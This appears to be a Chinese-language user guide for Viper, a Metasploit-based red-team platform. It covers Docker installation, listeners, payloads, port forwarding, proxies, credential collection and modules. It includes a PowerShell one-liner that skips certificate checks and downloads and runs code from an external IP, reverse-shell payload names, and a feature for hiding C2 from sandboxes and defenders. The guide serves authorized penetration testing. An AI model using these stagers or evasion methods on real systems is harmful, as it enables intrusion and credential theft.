Viper 简介
Viper (炫彩蛇)
- 是一款图形化内网渗透工具,将内网渗透过程中常用的战术及技术进行模块化及武器化。
- 集成杀软绕过,内网隧道,文件管理,命令行等基础功能。
- 当前已集成70+个模块,覆盖初始访问/持久化/权限提升/防御绕过/凭证访问/信息收集/横向移动等大类。
- 目标是帮助红队工程师提高攻击效率,简化操作,降低技术门槛。
- …
- 支持在浏览器中运行原生 msfconsole ,且支持多人协作。
文档:https://www.yuque.com/vipersec
github:https://github.com/FunnyWolf/Viper
Viper 安装
脚本安装
https://www.yuque.com/vipersec/help/olg1ua
sysctl -w vm.max_map_count=262144
curl -o f8x https://f8x.io/ # wget -O f8x https://f8x.io/
bash f8x -viper
手动安装
准备一台 linux 系统的 VPS 或虚拟机,首次使用建议虚拟机安装,推荐使用 ubuntu 系统
- 切换到 root 用户执行命令
su root
sysctl -w vm.max_map_count=262144
ulimit -n 65535
- Kali 安装 docker
apt-get update
apt-get install -y apt-transport-https ca-certificates
apt-get install dirmngr
curl -fsSL https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/debian/gpg | sudo apt-key add -
echo 'deb https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/debian/ buster stable' | sudo tee/etc/apt/sources.list.d/docker.list
apt-get update
apt install docker-ce
- 安装 docker-compose
apt install docker-compose
或者
curl -L https://get.daocloud.io/docker/compose/releases/download/1.25.5/docker-compose-`uname -s`-`uname -m` > /usr/bin/docker-compose
chmod +x /usr/bin/docker-compose
- 设置安装目录
export VIPER_DIR=/root/VIPER
- 生成安装目录,并进入安装目录
mkdir -p $VIPER_DIR && cd $VIPER_DIR
- 生成 docker-compose.yml
tee docker-compose.yml <<-'EOF'
version: "3"
services:
viper:
image: registry.cn-shenzhen.aliyuncs.com/toys/viper:latest
container_name: viper-c
network_mode: "host"
restart: always
volumes:
- ${PWD}/loot:/root/.msf4/loot
- ${PWD}/db:/root/viper/Docker/db
- ${PWD}/module:/root/viper/Docker/module
- ${PWD}/log:/root/viper/Docker/log
- ${PWD}/nginxconfig:/root/viper/Docker/nginxconfig
command: ["VIPER_PASSWORD"]
EOF
外网 VPS 也可以将 registry.cn-shenzhen.aliyuncs.com/toys/viper:latest 替换成 registry.cn-hongkong.aliyuncs.com/toys/viper:latest
- 设置登录密码
export VIPER_PASSWORD=VIPER@PASS
- 写入密码到 docker-compose.yml
sed -i "s/VIPER_PASSWORD/$VIPER_PASSWORD/g" docker-compose.yml
- 启动 Viper
cd $VIPER_DIR
docker-compose up -d
注意:所有的 docker-compose 命令必须在安装目录执行才会有效果
Viper 登录
https://www.yuque.com/vipersec/help/oktwb7
等待15s系统启动
访问登录服务器: https://your_vps_ip:60000
用户名: root
密码: 自己设置的密码
查看密码: cat /root/VIPER/docker-compose.yml
查看端口: cat /root/VIPER/nginxconfig/viper.conf ,默认端口为 60000
注意:如果你使用 VPS 部署 Viper ,请确认 VPS 的防火墙开放了60000端口及后续监听需要的端口
Viper 配置
版本更新
https://www.yuque.com/vipersec/help/qofhby
- 删除原有容器
cd /root/VIPER # 进入viper安装目录
docker-compose down # 删除现有容器
- 更新 docker 镜像
docker-compose pull
- 新建并启动容器
docker-compose up -d
修改密码
https://www.yuque.com/vipersec/help/rxb752
- 临时修改密码
适用于需要在不重启 Viper 的情况下修改密码, Viper 更新后密码不会保留 Viper 不允许使用默认密码, diypassword 替换为自定义密码密码且大于8位
- 进入 Docker 容器命令行
docker exec -it viper-c bash
- 执行修改密码命令
viper -pw VIPER@PASS
- 持久化修改密码
需要重启 Viper
Viper 不允许使用默认密码, diypassword 替换为自定义密码密码且大于8位
- 进入安装目录
cd /root/VIPER
- 设置密码
export VIPER_PASSWORD=********
- 写入密码到 docker-compose.yml
sed -i "s/VIPER_PASSWORD/$VIPER_PASSWORD/g" docker-compose.yml
相当于修改 /root/VIPER/docker-compose.yml 文件内容
关闭/重启
- 临时关闭 Viper
cd /root/VIPER
docker-compose stop
- 重新启动 Viper
cd /root/VIPER
docker-compose start
- 查看容器日志
docker logs viper-c
- 进入容器命令行
docker exec -it viper-c bash
安装目录
Viper 通过 docker 挂载目录的方式持久化保存数据
┌──(root㉿kali)-[~/VIPER]
└─# tree
.
├── db
│ ├── db.sqlite3
│ └── dump.rdb
├── docker-compose.yml
├── docker-compose.yml.bak
├── log
│ ├── access.log
│ ├── daphne.log
│ ├── error.log
│ ├── uwsgi.log
│ └── viperpython.log
├── loot
│ ├── mimikatz_x64.exe
│ ├── mimikatz_x86.exe
│ ├── SharpKatz.exe
│ ├── SweetPotato.exe
│ ├── TestAssembly-N20.exe
│ ├── TestAssembly-N40.exe
│ ├── test.ps1
│ ├── test.py
│ └── www.example.com.pem
├── module
└── nginxconfig
├── ca.crt
├── ca.key
├── ca.srl
├── client.crt
├── client.csr
├── client.key
├── client.pfx
├── gencert.sh
├── server.crt
├── server.csr
├── server.key
└── viper.conf
- db目录
db.sqlite3 : 是Viper的SQL数据库文件
dump.rdb : 是Viper缓存数据库文件
- log目录
access.log : nginx访问日志
error.log : nginx错误日志
daphne.log : viperpython websocket运行日志
uwsgi.log : viperpython http服务运行日志
viperpython.log : vipepython 主服务运行日志
puma.log : msf接口服务日志
- loot目录
存放用户 下载/上传 的文件
- module目录
存放自定义模块
- nginxconfig目录
gencert.sh :用于生成自定义 ssl 证书
ssl.crt ssl.csr ssl.key ssl.origin.key : ssl 证书相关文件,用于 nginx
viper.conf : nginx 子配置文件,用户可通过该配置文件自定义 nginx 配置
Viper基本使用
实时输出
- 模块结果
左侧:显示主机IP/模块/参数/结果等信息
底部:搜索过滤、重置过滤、清空数据、返回顶部等操作.
- 平台日志
右侧:列表展示平台运行日志,日志包含关键操作通知,模块运行过程中的日志等信息
底部:多用户聊天
任务列表
任务列表标签会提示当前有多少任务正在运行
可以点击任务对应的模块名称查看模块详细信息
面板会显示开始时间模块模块涉及的 Sessionid 模块参数
可以使用删除终止任务运行
监听载荷
https://www.yuque.com/vipersec/help/rxb29t
payload 又称为攻击载荷,主要是用来建立目标机与攻击机稳定连接的,可返回 shell ,也可以进行程序注入等。
Stageless
payload 分为 staged (分阶段)和 stageless (不分阶段):
Stageless payload: <platform>/[arch]/<single>
Stageless Meterpreter 是一个二进制文件,包含 Meterpreter 的所有必需部分以及所有必需的扩展全部捆绑在 一起,将完整的 payload 都编译在木马中,体积庞大,可直接独立地植入目标系统进行执行
Staged
Staged payload: <platform>/[arch]/<stage>/<stager>
Staged Meterpreter 负责建立目标用户与攻击者之间的网络连接,将执行传递到另一个阶段,MSF提供了传输器和传输体配对分阶段植入的技术,由渗透攻击模块首先植入代码,短小精悍且可靠的传输器载荷,然后在运行传输器载荷时进一步下载传输体载荷并执行,比如加载meterpreter、VNC桌面控制等复杂的大型攻击载荷。
stageless 和 staged 就像web入侵里面提到的大马和小马一样,一个功能齐全,一个只是构造一个连接或命令执 行,还需通过其他工具和脚本进行管理
Payload | Staged | Stageless |
---|---|---|
Reverse TCP | windows/meterpreter/reverse_tcp | windows/meterpreter_reverse_tcp |
Reverse HTTPS | windows/meterpreter/reverse_https | windows/meterpreter_reverse_https |
Bind TCP | windows/meterpreter/bind_tcp | windows/meterpreter_bind_tcp |
Reverse TCP IPv6 | windows/meterpreter/reverse_ipv6_tcp | windows/meterpreter_reverse_ipv6_tcp |
监听
在MSF原生的 hander/payload 基础上,Viper增加了如下两项功能
-
增加虚拟监听的概念,在内网渗透的某些场景中(如注入 shellcode ,spawn 进程,AB 网正向 hander),我们只需要快捷的调用已有的监听配置,不需要实际建立网络监听或网络连接
-
虚拟监听和实际监听可相互转化
- 新增监听
- 虚拟监听是指将输入的监听配置选项存储在缓存中,但不在服务器中建立实际运行的监听。后续在运行模块/传输协议时可以快速选择该监听配置
- 虚拟监听在系统重启后仍然存在,可用于鱼叉钓鱼,持久化等场景
- 真实的监听使用绿色图标表示,虚拟监听使用灰色图标表示
- 虚拟监听与实际监听可通过虚拟化、实例化相互转换
载荷
https://www.yuque.com/vipersec/help/pn8fof
- 快速生成
- 可以点击监听中的生成载荷按钮快速生成载荷,Windows 类型载荷为源码编译版本,linux 类型载荷为 elf 类型
- 配置生成
- 选择下方生成载荷按钮可以手动输入配置生成载荷
- 选择自动监听选项,在生成载荷完成后自动添加载荷所对应的监听
监听防火墙
https://www.yuque.com/vipersec/help/lxlre4
每当客户端连接 viper 的监听时, viper 会根据客户端的网络 IP 地址来判断该 IP 是否允许连接监听。
允许时则正常传输载荷到客户端,不允许时直接断开网络连接。
- 使用场景
- 当使用鱼叉钓鱼时,目标的地理位置为一个固定区域(例如一个省),监听防火墙可以屏蔽其他国外或其他省的IP连接监听
- 红队模拟时,如果可以根据需要屏蔽沙箱及网络测绘服务器连接监听
- 如果 IP 地址被不被允许连接监听,则客户端(通常为沙箱或者蓝队人员)无法获取stager,就无法判断C2服务器类型
- 使用方式
WebDelivery
https://www.yuque.com/vipersec/help/kvxr65
WebDelivery 功能与 MSF 的 exploit/multi/script/web_delivery 功能相同。
用于一句话加载 payload 。常用于可以执行命令,但是不方便上传文件的场景。
文件列表
- 上传/下载
- 支持拖拽文件上传及点击上传,点击下载自动使用浏览器下载
- 查看
- 支持直接预览文本文件及图片
- 一句话下载
当文件上传到服务器后,Viper 默认提供网络下载功能,界面中会提示各种版本的一句话下载
powershell -ep bypass -c "
[System.Net.ServicePointManager]::ServerCertificateValidationCall
back = {$true};iex(new-object
net.webclient).downloadstring('https://124.71.45.28:60000/api/v1/
d/?en=w1ythf9LuGmBMdLZMYlk6Q==')"
网络拓扑
汇总端口扫描,历史 Session上线信息,当前 Session 信息及当前路由信息,分析处理后生成网络拓扑图
自动编排
https://www.yuque.com/vipersec/help/gh60e1
每当有新的 Session(权限)上线时,会自动按照顺序执行自动编排中已经配置好的模块
- 时间间隔
可以通过该参数设置每个模块执行的间隔时间,避免短时间内执行多个模块导致报警或不稳定
- 单一主机最大权限数量
如果在自动编排中配置了会生成新的权限的模块(比如 Session克隆 ),则可能会出现死循环:新的权限->自动编排模块->自动编排模块导致新的权限->自动编排模块>…
在配置了该参数之后,如果系统判断单一主机(同一个内网 IP)对应的权限数量大于配置数量,则自动跳过自动编排模块
内网代理
https://www.yuque.com/vipersec/help/cv0shx
Viper 的内网代理功能基于 MSF 的 socks4a/socks5 代理模块集成而来。Viper 将内网路由,端口转发,内网代理集中控制,方便使用。
- 路由路径
- 内网代理、路由路径中可以查看所有主机的路由信息
- 如果不存在对应路由,则用网络直连表示
- 路由列表
- 查看所有 Session 中的路由
- 端口转发
- 查看所有 Session 的端口转发配置
- 内网代理
- 内网代理可以添加 socks4a 、socks5 两种代理,socks5 代理不支持 udp 代理使用的路由基于 内网路由,使用代理前确认配置了正确的路由
凭证列表
https://www.yuque.com/vipersec/help/iydrqn
-
通过模块获取到的密码信息都会存储在此处
-
也可以手动添加
MSFCONSOLE
https://www.yuque.com/vipersec/help/tzugzn
Metasploit console 控制台
- 常规操作
- 原生复制 msfconsole 操作
- 支持 tab 智能提示
- 支持 Ctrl+C 终止 / Ctrl-Z 切换到后台等操作
- 支持选择文本自动复制到剪切板功能
- 特殊命令
- 如果出现命令行假死等问题,可以通过输入viper 进行重置操作
权限操作
https://www.yuque.com/vipersec/help/pf5bz1
权限信息
- 查看
- 点击生成的 Session ,选择权限信息
- 进程列表
- 进程列表显示主机所有进程的信息和 Session 进程的信息
文件管理
通过点击权限,选择文件管理进入主界面
- 文件浏览
- 文件管理功能类似 Windows 的资源管理器
- 文件夹及磁盘支持双击进入,目录栏支持输入指定目录后回车进入目录
- 支持直接查看不大于100kb 的文件
- 支持切换工作目录/刷新当前目录
- 新建文件夹/上传文件/下载文件
- 点击上方新建文件夹按钮可在当前目录新建文件夹
- 点击上传按钮可打开服务端文件管理器,可以将服务器的文件上传到当前目录
- 点击下载链接,后台自动建立下载文件任务,下载的文件会存储在文件管理中
- 执行文件
- 支持带参数执行可执行文件(无回显)
- 修改文件
- 可直接修改主机的文本类文件
内网路由
- 自动模式中,Session 会根据所在主机网卡 IP/掩码/网关自动添加路由
- 如果内网某个网卡有多个子网,还可以通过手工输入的方式添加
- 内网路由页面只显示当前 Session 添加的路由,如果需要查看所有路由,可以通过内网
- 代理路由列表查看所有路由
- Viper内网路由即是 Metasploit 的 route 功能,具体原理可以参考如下链接:
https://www.freebuf.com/articles/network/125278.html
端口转发
权限操作 端口转发
- 正向转发
- 正向转发是将 VPS 的网络端口转发到 Session 所在内网的某 IP 某端口。常用于连接内网的某服务,如 RDP ,SSH 等
- 远程 IP(目标)远程端口(目标)也可以选择内网其他主机
- 反向转发
- 反向转发是将内网的某IP某端口转发到VPS的网络端口
- 反向转发通常用于handler监听的回连
- Viper的端口转发功能基于metasploit-framwork 的 portfwd
传输协议
权限操作、传输协议
https://www.yuque.com/vipersec/help/xvarma
命令终端
权限操作 命令终端
- 命令操作
- 命令终端中可以直接输入命令,还可以通过下方快捷键快速输入
- 命令终端中默认使用 meterpreter 增强命令行,如果希望执行系统命令,可以使用 shell +命令的方式
删除权限
权限操作、删除权限
- 可以使用删除权限功能关闭已获得的 session
- 删除权限后无法撤销
主机操作
主机信息
- 读取缓存/重新请求
- 每次打开窗口时会自动读取数据库中缓存的主机信息
- 点击重新请求会在后台执行更新主机信息模块,模块执行完成后自动将结果存储到数据库中
- 主机信息
- 网卡信息
- 本地监听
- 外网连接 判断主机有哪些联网应用
- 内网连接 通常用于判断内网其他主机的IP地址及服务
- ARP信息 用于查找内网网段
- 重要进程 用于判断主机的杀软及远控软件(teamviewer/anydesk)运行情况
- 所有连接
- 所有进程
开放端口
数据来源,展示的端口信息主要来源于三个模块:
- 端口扫描与服务识别
- 端口扫描
- 内网ARP扫描
可以在运行模块选择过滤信息收集类模块中找到这三个模块
已知漏洞
-
当前功能适配 MS17-010 扫描模块
-
已知功能当前适配的模块很少,属于框架型功能
修改备注
主机操作修改备注或直接点击主机图标标签修改
删除主机
主机操作删除主机或在主机管理中批量删除
常见问题
- 为什么无法删除主机?
如果当前主机有正在活动的 Session,viper 会自动新建主机信息
- 为什么删除主机后Session仍然存在?
删除主机只会删除数据库中存储的主机相关信息,viper 并不会关闭对应 session
Viper 运行模块
https://www.yuque.com/vipersec/module
模块类别
- 资源部署
- 初始访问
- 执行
- 持久化
- 权限提升
- 防御绕过
- 凭证访问
- 信息收集
- 数据采集
- 全网扫描
- 被动扫描
需要Session模块/无需Session模块
- 当在存在 Session 的行点击运行模块时,显示所有可用的模块,包括需要 Sesison 和无需 Session 的模块
- 如果点击不存在 Session 的行,则默认只显示不需要 Session 的模块
过滤/查找/标注模块
- Viper 的根据 ATT&TK 对模块进行分类,可以通过选择栏进行过滤选择
- 支持根据关键字搜索模块,搜索功能会根据名称 /TTPs/ 简介进行匹配
参数/说明
- 左侧点击选择模块后,右侧默认显示模块所需参数。鼠标移到参数上方时自动显示参数说明
- 右侧还可以切换到说明选项卡,展示模块的更多信息
适用权限是指模块可以在哪些权限下运行
运行/结果输出
- 输入参数后点击运行即可运行模块
- 运行后切换到实时输出可以看到模块运行状态
右侧通知列表会显示、模块进入后台、模块运行时输出的日志、模块运行结束后提示等左侧展示模块的运行结果,包括运行结束时间、主机 IP 模块名称、模块参数、模块结果输出等
- 如果模块运行时间较长,可以在任务列表页面查看后台有哪些模块在运行
- 点击删除按钮会手动终止模块后台运行